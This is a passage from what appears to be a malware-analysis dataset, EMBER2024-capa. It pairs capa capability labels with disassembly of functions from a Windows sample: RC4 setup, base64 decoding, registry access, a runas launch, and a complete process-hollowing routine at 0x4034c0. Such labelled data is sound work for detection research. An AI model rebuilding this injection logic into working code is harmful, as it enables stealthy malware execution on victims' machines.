joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402690
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push ebx
cmovae eax, dword [ebp + 0x20]
push esi
push edi
push dword [ebp + 0x30]
mov dword [ebp - 4], ecx
mov ecx, 0x43602c
push eax
call fcn.00412fd0
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x435a14
push eax
call fcn.00412fd0
mov esi, dword [0x43603c]
xor ebx, ebx
mov edi, dword [0x436040]
nop word [eax + eax]
cmp edi, 0x10
mov byte [ebx + 0x437248], bl
mov eax, ebx
mov ecx, 0x43602c
cmovae ecx, dword [0x43602c]
cdq
idiv esi
mov al, byte [edx + ecx]
mov byte [ebx + 0x437350], al
inc ebx
cmp ebx, 0x100
jl 0x4026e0
xor edi, edi
xor esi, esi
mov dl, byte [esi + 0x437248]
movzx eax, byte [esi + 0x437350]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x402734
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [edi + 0x437248]
mov byte [esi + 0x437248], al
inc esi
mov byte [edi + 0x437248], dl
cmp esi, 0x100
jl 0x402710
mov esi, dword [ebp - 4]
mov ecx, esi
call fcn.00402340
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x402789
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40277f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4027d4
push edx
push ecx
call fcn.00414180
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x4027cb
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4027c1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4027d4
push edx
push ecx
call fcn.00414180
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004188f4
int3
Function at 0x4027e0
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov ebx, dword [eax]
mov edi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 0x18], edi
test ebx, ebx
jne 0x40281a
push ebx
push 0x431e4b
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], 0xf
mov byte [edi], bl
call fcn.00412fd0
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, ebx
xor esi, esi
and eax, 3
jne 0x402831
cmp byte [ebx + edx - 1], 0x3d
je 0x402831
xor ecx, ecx
mov dword [ebp + 8], ecx
jmp 0x40284b
mov ecx, 1
mov dword [ebp + 8], ecx
cmp eax, 2
ja 0x402849
cmp byte [ebx + edx - 2], 0x3d
jne 0x402849
xor eax, eax
jmp 0x40284b
mov eax, ecx
sub ebx, ecx
mov dword [ebp - 0x10], eax
and ebx, 0xfffffffc
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
shr ecx, 2
push 0
lea eax, [eax + ecx*2]
add eax, ecx
lea ecx, [ebp - 0x34]
add eax, dword [ebp + 8]
push eax
call fcn.00412b40
cmp dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
test ebx, ebx
je 0x4028fb
mov edx, dword [ebp - 8]
lea eax, [ebx - 1]
mov ebx, dword [ebp - 0xc]
add edx, 2
shr eax, 2
inc eax
mov dword [ebp - 0x14], eax
mov edi, eax
nop word [eax + eax]
movzx eax, byte [edx - 2]
lea edx, [edx + 4]
mov ecx, dword [eax*4 + 0x432a80]
movzx eax, byte [edx - 5]
shl ecx, 6
or ecx, dword [eax*4 + 0x432a80]
movzx eax, byte [edx - 4]
shl ecx, 6
or ecx, dword [eax*4 + 0x432a80]
movzx eax, byte [edx - 3]
shl ecx, 6
or ecx, dword [eax*4 + 0x432a80]
mov eax, ecx
sar eax, 0x10
mov byte [ebx + esi], al
mov eax, ecx
sar eax, 8
mov byte [ebx + esi + 1], al
mov byte [ebx + esi + 2], cl
add esi, 3
sub edi, 1
jne 0x4028a0
mov edi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x1c]
cmp dword [ebp + 8], 0
je 0x40294a
add ebx, dword [ebp - 8]
movzx eax, byte [ebx]
movzx ecx, byte [ebx + 1]
mov edx, dword [eax*4 + 0x432a80]
shl edx, 6
or edx, dword [ecx*4 + 0x432a80]
mov ecx, dword [ebp - 0xc]
shl edx, 0xc
mov eax, edx
sar eax, 0x10
cmp dword [ebp - 0x10], 0
mov byte [ecx + esi], al
je 0x40294a
movzx eax, byte [ebx + 2]
sar edx, 8
mov eax, dword [eax*4 + 0x432a80]
shl eax, 6
sar eax, 8
or al, dl
mov byte [ecx + esi + 1], al
movups xmm0, xmmword [ebp - 0x34]
mov eax, edi
movups xmmword [edi], xmm0
movq xmm0, qword [ebp - 0x24]
movq qword [edi + 0x10], xmm0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402c80
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push esi
push edi
push 0x400
lea eax, [ebp - 0x408]
mov esi, edx
push 0
push eax
mov edi, ecx
call fcn.00414ec0
add esp, 0xc
mov dword [ebp - 8], 0x400
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 4]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push 1
push 0
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402cef
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x408]
push ecx
push 0
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push 0
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x408]
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
lea edx, [ecx + 1]
mov byte [edi], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402d12
sub ecx, edx
lea eax, [ebp - 0x408]
push ecx
push eax
mov ecx, edi
call fcn.00412fd0
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x402d5a
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402d50
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402da4
push edx
push ecx
call fcn.00414180
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x402d9c
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402d92
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402da4
push edx
push ecx
call fcn.00414180
add esp, 8
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004188f4
int3
Function at 0x402db0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 4]
push ecx
push 0xf003f
lea eax, [ebp + 8]
mov dword [ebp - 4], 0x80000001
cmovae eax, dword [ebp + 8]
push 0
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402e0d
cmp dword [ebp + 0x4c], 0x10
lea edx, [ebp + 0x38]
mov eax, dword [ebp + 0x48]
lea ecx, [ebp + 0x20]
cmovae edx, dword [ebp + 0x38]
cmp dword [ebp + 0x34], 0x10
cmovae ecx, dword [ebp + 0x20]
inc eax
push eax
push edx
push 2
push 0
push ecx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x402e4a
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402e40
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402ed2
push edx
push ecx
call fcn.00414180
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x402e8c
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402e82
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402ed2
push edx
push ecx
call fcn.00414180
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x402ece
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x402ec4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402ed2
push edx
push ecx
call fcn.00414180
add esp, 8
mov esp, ebp
pop ebp
ret
call fcn.004188f4
int3
Function at 0x4034c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
lea eax, [ebp - 0x170]
push ebx
push esi
push edi
push 0x104
push eax
push 0
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x403661
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x403661
push 0x44
lea eax, [ebp - 0x68]
push 0
push eax
call fcn.00414ec0
add esp, 0xc
lea eax, [ebp - 0x1c]
xorps xmm0, xmm0
movups xmmword [ebp - 0x1c], xmm0
push eax
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x403661
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push ebx
mov dword [ebp - 0x20], ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x403661
push 0
push 4
lea eax, [ebp - 4]
push eax
push 0x4329d4
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [edi + 0x34]
cmp dword [ebp - 4], eax
jne 0x4035b1
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 4]
push dword [ebp - 0x1c]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x403661
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
cmp ax, word [edi + 6]
jae 0x403627
mov ecx, 0xa0
xor ebx, ebx
mov dword [ebp - 8], ecx
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x68]
mov eax, dword [ecx + 0x6c]
add eax, esi
push eax
mov eax, dword [ecx + 0x64]
add eax, dword [ebp - 0xc]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 8]
inc ebx
movzx eax, word [edi + 6]
add ecx, 0x28
mov dword [ebp - 8], ecx
cmp ebx, eax
jl 0x4035f2
mov ebx, dword [ebp - 0x20]
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0xc]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403680
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x18], 1
jne 0x40369d
cmp byte [eax], 0x31
jne 0x40369d
mov cl, 1
jmp 0x40369f
xor cl, cl
xor edx, edx
mov eax, 5
test cl, cl
lea ecx, [ebp + 8]
push esi
cmove eax, edx
mov edx, str.runas
push eax
mov eax, 0x431e4b
cmovne eax, edx
push eax
call fcn.00412fd0
cmp dword [ebp + 0x4c], 0x10
lea edx, [ebp + 0x38]
push 0
cmovae edx, dword [ebp + 0x38]
lea ecx, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 8]
push 0
cmovae ecx, dword [ebp + 0x20]
cmp dword [ebp + 0x1c], 0x10
push edx
cmovae eax, dword [ebp + 8]
push ecx
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, dword [ebp + 0x1c]
mov esi, eax
mov dword [0x43734c], esi
cmp edx, 0x10
jb 0x40372f
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403725
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037b8
push edx
push ecx
call fcn.00414180
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x403771
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403767
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037b8
push edx
push ecx
call fcn.00414180
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x4037b3
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4037a9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4037b8
push edx
push ecx
call fcn.00414180
add esp, 8
mov eax, esi
pop esi
pop ebp
ret
call fcn.004188f4
int3
Function at 0x4038e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
mov dword [0x437348], 0
call esi
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x4374a0]
cmp eax, dword [ecx + 4]
jle 0x40398b
push 0x4374a0
call fcn.00413e29
add esp, 4
cmp dword [0x4374a0], 0xffffffff
jne 0x40398b
push 0x42b2a0
mov dword [0x437468], 0
mov dword [0x43746c], 0xf
mov byte [0x437458], 0
mov dword [0x437480], 0
mov dword [0x437484], 0xf
mov byte [0x437470], 0
mov dword [0x437498], 0
mov dword [0x43749c], 0xf
mov byte [0x437488], 0
call fcn.0041416b
push 0x4374a0
call fcn.00413ddf
add esp, 8
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x437458
push eax
call fcn.00412fd0
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
mov ecx, 0x437470
push eax
call fcn.00412fd0
cmp dword [ebp + 0x4c], 0x10
lea eax, [ebp + 0x38]
push dword [ebp + 0x48]
cmovae eax, dword [ebp + 0x38]
mov ecx, 0x437488
push eax
call fcn.00412fd0
push 0
push 0
push 0x437458
push 0x4037c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call esi
mov edx, dword [ebp + 0x1c]
mov esi, dword [0x437348]
cmp edx, 0x10
jb 0x403a2f
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403a25
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403ab8
push edx
push ecx
call fcn.00414180
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x403a71
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403a67
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403ab8
push edx
push ecx
call fcn.00414180
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x403ab3
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403aa9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403ab8
push edx
push ecx
call fcn.00414180
add esp, 8
mov eax, esi
pop esi
pop ebp
ret
call fcn.004188f4
int3
Function at 0x404710
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x18c
push esi
push 0x118
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
lea eax, [ebp - 0x17c]
movaps xmmword [ebp - 0x60], xmm0
push 0
push eax
movaps xmmword [ebp - 0x50], xmm0
call fcn.00414ec0
add esp, 0xc
mov dword [ebp - 0x180], 0x11c
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x40477d
mov eax, 0x64
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
sub esp, 0x18
mov ecx, esp
push 0x43644c
call fcn.00412c60
lea ecx, [ebp - 0x30]
call fcn.00402b70
mov esi, eax
add esp, 0x18
cmp dword [esi + 0x14], 0x10
jb 0x4047a1
mov esi, dword [esi]
sub esp, 0x18
mov ecx, esp
push 0x435d8c
call fcn.00412c60
lea ecx, [ebp - 0x18]
call fcn.00402b70
add esp, 0x18
cmp dword [eax + 0x14], 0x10
jb 0x4047c3
mov eax, dword [eax]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 4]
mov esi, eax
cmp edx, 0x10
jb 0x404808
mov ecx, dword [ebp - 0x18]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4047fe
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40489d
push edx
push ecx
call fcn.00414180
add esp, 8
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xf
mov byte [ebp - 0x18], 0
cmp edx, 0x10
jb 0x40484a
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404840
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40489d
push edx
push ecx
call fcn.00414180
add esp, 8
mov dword [ebp - 0x20], 0
lea eax, [ebp - 0x60]
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
push eax
test esi, esi
je 0x404868
call esi
jmp 0x40486e
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [ebp - 0x17c], 6
jb 0x404895
mov ax, word [ebp - 0x60]
cmp ax, 9
jne 0x40488e
mov eax, 1
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
test ax, ax
jne 0x404895
xor eax, eax
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004188f4
int3

Function at 0x4048e0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
cmp dword [ecx + 0x14], 0x10
jb 0x4048e8
mov ecx, dword [ecx]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4048fb
test al, 0x10
je 0x4048fb
mov al, 1
ret
xor al, al
ret
Function at 0x404dd0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push esi
lea eax, [ebp - 0x150]
mov esi, ecx
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x150]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
lea ecx, [edx + 1]
mov byte [ebp - 0x30], 0
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x404e10
sub edx, ecx
lea eax, [ebp - 0x150]
push edx
push eax
lea ecx, [ebp - 0x30]
call fcn.00412fd0
mov ecx, 3
mov dword [ebp - 8], 0
cmp dword [ebp - 0x20], ecx
lea eax, [ebp - 0x30]
mov dword [ebp - 4], 0xf
cmovb ecx, dword [ebp - 0x20]
cmp dword [ebp - 0x1c], 0x10
push ecx
cmovae eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x18]
push eax
mov byte [ebp - 0x18], 0
call fcn.00412fd0
sub esp, 0x18
mov ecx, esp
push 0x435cfc
call fcn.00412c60
lea ecx, [ebp - 0x48]
call fcn.00402b70
push eax
lea edx, [ebp - 0x18]
mov ecx, esi
call fcn.00413110
mov edx, dword [ebp - 4]
add esp, 0x1c
cmp edx, 0x10
jb 0x404eb5
mov ecx, dword [ebp - 0x18]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404eab
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f2e
push edx
push ecx
call fcn.00414180
add esp, 8
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xf
mov byte [ebp - 0x18], 0
cmp edx, 0x10
jb 0x404ef7
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404eed
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f2e
push edx
push ecx
call fcn.00414180
add esp, 8
mov edx, dword [ebp - 0x34]
cmp edx, 0x10
jb 0x404f27
mov ecx, dword [ebp - 0x48]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404f1d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f2e
push edx
push ecx
call fcn.00414180
add esp, 8
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004188f4
int3
Function at 0x404f40
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
push esi
lea eax, [ebp - 0x138]
mov esi, ecx
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x138]
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x18], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404f80
sub ecx, edx
lea eax, [ebp - 0x138]
push ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00412fd0
sub esp, 0x18
mov ecx, esp
push 0x4362b4
call fcn.00412c60
lea ecx, [ebp - 0x30]
call fcn.00402b70
push eax
lea edx, [ebp - 0x18]
mov ecx, esi
call fcn.00413110
mov edx, dword [ebp - 4]
add esp, 0x1c
cmp edx, 0x10
jb 0x404fee
mov ecx, dword [ebp - 0x18]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404fe4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405037
push edx
push ecx
call fcn.00414180
add esp, 8
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xf
mov byte [ebp - 0x18], 0
cmp edx, 0x10
jb 0x405030
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405026
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405037
push edx
push ecx
call fcn.00414180
add esp, 8
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004188f4
int3

Function at 0x405040
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
push esi
lea eax, [ebp - 0x138]
mov esi, ecx
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x138]
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x18], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405080
sub ecx, edx
lea eax, [ebp - 0x138]
push ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00412fd0
sub esp, 0x18
mov ecx, esp
push 0x4362b4
call fcn.00412c60
lea ecx, [ebp - 0x30]
call fcn.00402b70
push eax
lea edx, [ebp - 0x18]
mov ecx, esi
call fcn.00413110
mov edx, dword [ebp - 4]
add esp, 0x1c
cmp edx, 0x10
jb 0x4050ee
mov ecx, dword [ebp - 0x18]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4050e4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405137
push edx
push ecx
call fcn.00414180
add esp, 8
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xf
mov byte [ebp - 0x18], 0
cmp edx, 0x10
jb 0x405130
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405126
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405137
push edx
push ecx
call fcn.00414180
add esp, 8
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004188f4
int3
Function at 0x405140
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
push esi
lea eax, [ebp - 0x138]
mov esi, ecx
push eax
push 0
push 0
push 0x28
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x138]
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x18], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405180
sub ecx, edx
lea eax, [ebp - 0x138]
push ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00412fd0
sub esp, 0x18
mov ecx, esp
push 0x4362b4
call fcn.00412c60
lea ecx, [ebp - 0x30]
call fcn.00402b70
push eax
lea edx, [ebp - 0x18]
mov ecx, esi
call fcn.00413110
mov edx, dword [ebp - 4]
add esp, 0x1c
cmp edx, 0x10
jb 0x4051ee
mov ecx, dword [ebp - 0x18]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4051e4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405237
push edx
push ecx
call fcn.00414180
add esp, 8
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0xf
mov byte [ebp - 0x18], 0
cmp edx, 0x10
jb 0x405230
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405226
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
